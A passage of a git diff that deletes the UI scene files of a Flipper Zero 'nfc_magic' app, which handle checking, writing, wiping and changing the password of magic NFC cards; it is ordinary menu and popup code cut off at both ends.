wipe_fail, WipeFail) diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c deleted file mode 100644 index 04b7024ff..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "../nfc_magic_i.h" - -static bool nfc_magic_scene_file_select_is_file_suitable(NfcMagic* nfc_magic) { - NfcDevice* nfc_dev = nfc_magic->source_dev; - if(nfc_dev->format == NfcDeviceSaveFormatMifareClassic) { - switch(nfc_magic->dev->type) { - case MagicTypeClassicGen1: - case MagicTypeClassicDirectWrite: - case MagicTypeClassicAPDU: - if((nfc_dev->dev_data.mf_classic_data.type != MfClassicType1k) || - (nfc_dev->dev_data.nfc_data.uid_len != nfc_magic->dev->uid_len)) { - return false; - } - return true; - - case MagicTypeGen4: - return true; - default: - return false; - } - } else if( - (nfc_dev->format == NfcDeviceSaveFormatMifareUl) && - (nfc_dev->dev_data.nfc_data.uid_len == 7)) { - switch(nfc_magic->dev->type) { - case MagicTypeUltralightGen1: - case MagicTypeUltralightDirectWrite: - case MagicTypeUltralightC_Gen1: - case MagicTypeUltralightC_DirectWrite: - case MagicTypeGen4: - switch(nfc_dev->dev_data.mf_ul_data.type) { - case MfUltralightTypeNTAGI2C1K: - case MfUltralightTypeNTAGI2C2K: - case MfUltralightTypeNTAGI2CPlus1K: - case MfUltralightTypeNTAGI2CPlus2K: - return false; - default: - return true; - } - default: - return false; - } - } - - return false; -} - -void nfc_magic_scene_file_select_on_enter(void* context) { - NfcMagic* nfc_magic = context; - // Process file_select return - nfc_device_set_loading_callback( - nfc_magic->source_dev, nfc_magic_show_loading_popup, nfc_magic); - - if(!furi_string_size(nfc_magic->source_dev->load_path)) { - furi_string_set_str(nfc_magic->source_dev->load_path, NFC_APP_FOLDER); - } - if(nfc_file_select(nfc_magic->source_dev)) { - if(nfc_magic_scene_file_select_is_file_suitable(nfc_magic)) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWriteConfirm); - } else { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWrongCard); - } - } else { - scene_manager_previous_scene(nfc_magic->scene_manager); - } -} - -bool nfc_magic_scene_file_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void nfc_magic_scene_file_select_on_exit(void* context) { - NfcMagic* nfc_magic = context; - nfc_device_set_loading_callback(nfc_magic->source_dev, NULL, nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c deleted file mode 100644 index ceaa33e29..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexWrite, - SubmenuIndexChangePassword, - SubmenuIndexWipe, -}; - -void nfc_magic_scene_gen4_actions_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_gen4_actions_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, - "Write", - SubmenuIndexWrite, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Change password", - SubmenuIndexChangePassword, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Wipe", - SubmenuIndexWipe, - nfc_magic_scene_gen4_actions_submenu_callback, - nfc_magic); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneGen4Actions)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_gen4_actions_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexChangePassword) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNewKeyInput); - consumed = true; - } else if(event.event == SubmenuIndexWipe) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); - consumed = true; - } - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneGen4Actions, event.event); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - - return consumed; -} - -void nfc_magic_scene_gen4_actions_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c deleted file mode 100644 index 58b487a09..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_key_input_byte_input_callback(void* context) { - NfcMagic* nfc_magic = context; - - view_dispatcher_send_custom_event( - nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); -} - -void nfc_magic_scene_key_input_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - // Setup view - ByteInput* byte_input = nfc_magic->byte_input; - byte_input_set_header_text(byte_input, "Enter the password in hex"); - byte_input_set_result_callback( - byte_input, - nfc_magic_scene_key_input_byte_input_callback, - NULL, - nfc_magic, - (uint8_t*)&nfc_magic->dev->password, - 4); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); -} - -bool nfc_magic_scene_key_input_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventByteInputDone) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_key_input_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(nfc_magic->byte_input, ""); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c deleted file mode 100644 index c147ac438..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c +++ /dev/null @@ -1,59 +0,0 @@ -#include "../nfc_magic_i.h" -#include "../lib/magic/types.h" - -void nfc_magic_scene_magic_info_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_magic_info_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - const char* card_type = nfc_magic_type(nfc_magic->dev->type); - - notification_message(nfc_magic->notifications, &sequence_success); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "Magic card detected"); - widget_add_string_element(widget, 3, 17, AlignLeft, AlignTop, FontSecondary, card_type); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_magic_info_widget_callback, nfc_magic); - widget_add_button_element( - widget, GuiButtonTypeRight, "More", nfc_magic_scene_magic_info_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_magic_info_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - MagicType type = nfc_magic->dev->type; - if(type == MagicTypeGen4) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneGen4Actions); - consumed = true; - } else { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneActions); - consumed = true; - } - } - } - return consumed; -} - -void nfc_magic_scene_magic_info_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c deleted file mode 100644 index b5247f6c5..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_new_key_input.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_new_key_input_byte_input_callback(void* context) { - NfcMagic* nfc_magic = context; - - view_dispatcher_send_custom_event( - nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); -} - -void nfc_magic_scene_new_key_input_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - // Setup view - ByteInput* byte_input = nfc_magic->byte_input; - byte_input_set_header_text(byte_input, "Enter the password in hex"); - byte_input_set_result_callback( - byte_input, - nfc_magic_scene_new_key_input_byte_input_callback, - NULL, - nfc_magic, - (uint8_t*)&nfc_magic->new_password, - 4); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); -} - -bool nfc_magic_scene_new_key_input_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventByteInputDone) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekey); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_new_key_input_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); - byte_input_set_header_text(nfc_magic->byte_input, ""); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c deleted file mode 100644 index b4f579f44..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_not_magic.c +++ /dev/null @@ -1,43 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_not_magic_widget_callback(GuiButtonType result, InputType type, void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_not_magic_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_string_element( - widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "This is wrong card"); - widget_add_string_multiline_element( - widget, 4, 17, AlignLeft, AlignTop, FontSecondary, "Not magic or unsupported\ncard"); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_not_magic_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_not_magic_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_not_magic_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c deleted file mode 100644 index 259dc78ea..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey.c +++ /dev/null @@ -1,95 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneRekeyStateCardSearch, - NfcMagicSceneRekeyStateCardFound, -}; - -bool nfc_magic_rekey_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_rekey_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneRekey); - - if(state == NfcMagicSceneRekeyStateCardSearch) { - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Writing\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_rekey_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - nfc_magic_scene_rekey_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateRekey, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_rekey_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_rekey_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - nfc_magic->dev->password = nfc_magic->new_password; - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneRekeyFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardFound); - nfc_magic_scene_rekey_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - nfc_magic_scene_rekey_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_rekey_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneRekey, NfcMagicSceneRekeyStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c deleted file mode 100644 index d30ee57bc..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_rekey_fail.c +++ /dev/null @@ -1,50 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_rekey_fail_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_rekey_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 72, 17, &I_DolphinCommon_56x48); - widget_add_string_element( - widget, 7, 4, AlignLeft, AlignTop, FontPrimary, "Can't change password!"); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "Finish", nfc_magic_scene_rekey_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_rekey_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - return consumed; -} - -void nfc_magic_scene_rekey_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c deleted file mode 100644 index b5861629e..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_start.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "../nfc_magic_i.h" -enum SubmenuIndex { - SubmenuIndexCheck, - SubmenuIndexAuthenticateGen4, -}; - -void nfc_magic_scene_start_submenu_callback(void* context, uint32_t index) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); -} - -void nfc_magic_scene_start_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - Submenu* submenu = nfc_magic->submenu; - submenu_add_item( - submenu, - "Check Magic Tag", - SubmenuIndexCheck, - nfc_magic_scene_start_submenu_callback, - nfc_magic); - submenu_add_item( - submenu, - "Authenticate Gen4", - SubmenuIndexAuthenticateGen4, - nfc_magic_scene_start_submenu_callback, - nfc_magic); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneStart)); - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); -} - -bool nfc_magic_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexCheck) { - nfc_magic->dev->password = MAGIC_GEN4_DEFAULT_PWD; - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneStart, SubmenuIndexCheck); - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); - consumed = true; - } else if(event.event == SubmenuIndexAuthenticateGen4) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneKeyInput); - } - } - - return consumed; -} - -void nfc_magic_scene_start_on_exit(void* context) { - NfcMagic* nfc_magic = context; - submenu_reset(nfc_magic->submenu); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c deleted file mode 100644 index 37441e80e..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_success.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_success_popup_callback(void* context) { - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, NfcMagicCustomEventViewExit); -} - -void nfc_magic_scene_success_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - notification_message(nfc_magic->notifications, &sequence_success); - - Popup* popup = nfc_magic->popup; - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Success!", 10, 20, AlignLeft, AlignBottom); - popup_set_timeout(popup, 1500); - popup_set_context(popup, nfc_magic); - popup_set_callback(popup, nfc_magic_scene_success_popup_callback); - popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -bool nfc_magic_scene_success_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicCustomEventViewExit) { - consumed = scene_manager_search_and_switch_to_previous_scene( - nfc_magic->scene_manager, NfcMagicSceneStart); - } - } - return consumed; -} - -void nfc_magic_scene_success_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - // Clear view - popup_reset(nfc_magic->popup); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c deleted file mode 100644 index 29640f89c..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneWipeStateCardSearch, - NfcMagicSceneWipeStateCardFound, -}; - -bool nfc_magic_wipe_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_wipe_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneWipe); - - if(state == NfcMagicSceneWipeStateCardSearch) { - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Wiping\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_wipe_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - nfc_magic_scene_wipe_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateWipe, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_wipe_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_wipe_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipeFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardFound); - nfc_magic_scene_wipe_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - nfc_magic_scene_wipe_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_wipe_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWipe, NfcMagicSceneWipeStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c deleted file mode 100644 index 828b65e6c..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_wipe_fail.c +++ /dev/null @@ -1,41 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_wipe_fail_widget_callback(GuiButtonType result, InputType type, void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_wipe_fail_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - notification_message(nfc_magic->notifications, &sequence_error); - - widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); - widget_add_string_element(widget, 3, 4, AlignLeft, AlignTop, FontPrimary, "Wipe failed"); - widget_add_button_element( - widget, GuiButtonTypeLeft, "Retry", nfc_magic_scene_wipe_fail_widget_callback, nfc_magic); - - // Setup and start worker - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); -} - -bool nfc_magic_scene_wipe_fail_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(nfc_magic->scene_manager); - } - } - return consumed; -} - -void nfc_magic_scene_wipe_fail_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - widget_reset(nfc_magic->widget); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c deleted file mode 100644 index 45c54557f..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../nfc_magic_i.h" - -enum { - NfcMagicSceneWriteStateCardSearch, - NfcMagicSceneWriteStateCardFound, -}; - -bool nfc_magic_write_worker_callback(NfcMagicWorkerEvent event, void* context) { - furi_assert(context); - - NfcMagic* nfc_magic = context; - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, event); - - return true; -} - -static void nfc_magic_scene_write_setup_view(NfcMagic* nfc_magic) { - Popup* popup = nfc_magic->popup; - popup_reset(popup); - uint32_t state = scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneWrite); - - if(state == NfcMagicSceneWriteStateCardSearch) { - popup_set_text( - nfc_magic->popup, - "Apply the\nsame card\nto the back", - 128, - 32, - AlignRight, - AlignCenter); - popup_set_icon(nfc_magic->popup, 0, 8, &I_NFC_manual_60x50); - } else { - popup_set_icon(popup, 12, 23, &I_Loading_24); - popup_set_header(popup, "Writing\nDon't move...", 52, 32, AlignLeft, AlignCenter); - } - - view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewPopup); -} - -void nfc_magic_scene_write_on_enter(void* context) { - NfcMagic* nfc_magic = context; - - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - nfc_magic_scene_write_setup_view(nfc_magic); - - // Setup and start worker - nfc_magic_worker_start( - nfc_magic->worker, - NfcMagicWorkerStateWrite, - nfc_magic->dev, - &nfc_magic->source_dev->dev_data, - nfc_magic->new_password, - nfc_magic_write_worker_callback, - nfc_magic); - nfc_magic_blink_start(nfc_magic); -} - -bool nfc_magic_scene_write_on_event(void* context, SceneManagerEvent event) { - NfcMagic* nfc_magic = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcMagicWorkerEventSuccess) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneSuccess); - consumed = true; - } else if(event.event == NfcMagicWorkerEventFail) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWriteFail); - consumed = true; - } else if(event.event == NfcMagicWorkerEventWrongCard) { - scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNotMagic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardFound); - nfc_magic_scene_write_setup_view(nfc_magic); - consumed = true; - } else if(event.event == NfcMagicWorkerEventNoCardDetected) { - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - nfc_magic_scene_write_setup_view(nfc_magic); - consumed = true; - } - } - return consumed; -} - -void nfc_magic_scene_write_on_exit(void* context) { - NfcMagic* nfc_magic = context; - - nfc_magic_worker_stop(nfc_magic->worker); - scene_manager_set_scene_state( - nfc_magic->scene_manager, NfcMagicSceneWrite, NfcMagicSceneWriteStateCardSearch); - // Clear view - popup_reset(nfc_magic->popup); - - nfc_magic_blink_stop(nfc_magic); -} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c deleted file mode 100644 index d31c1c194..000000000 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_write_confirm.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "../nfc_magic_i.h" - -void nfc_magic_scene_write_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcMagic* nfc_magic = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, result); - } -} - -void nfc_magic_scene_write_confirm_on_enter(void* context) { - NfcMagic* nfc_magic = context; - Widget* widget = nfc_magic->widget; - - widget_add_string_element(widget, 3, 0, AlignLeft, AlignTop, FontPrimary, "Risky operation"); - widget_add_text_box_element( - widget, - 0, - 13, - 128, - 54, - AlignLeft, - AlignTop, - "Writing to this card will change manufacturer block. On some cards it may not be rewritten", - false); - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Continue", - 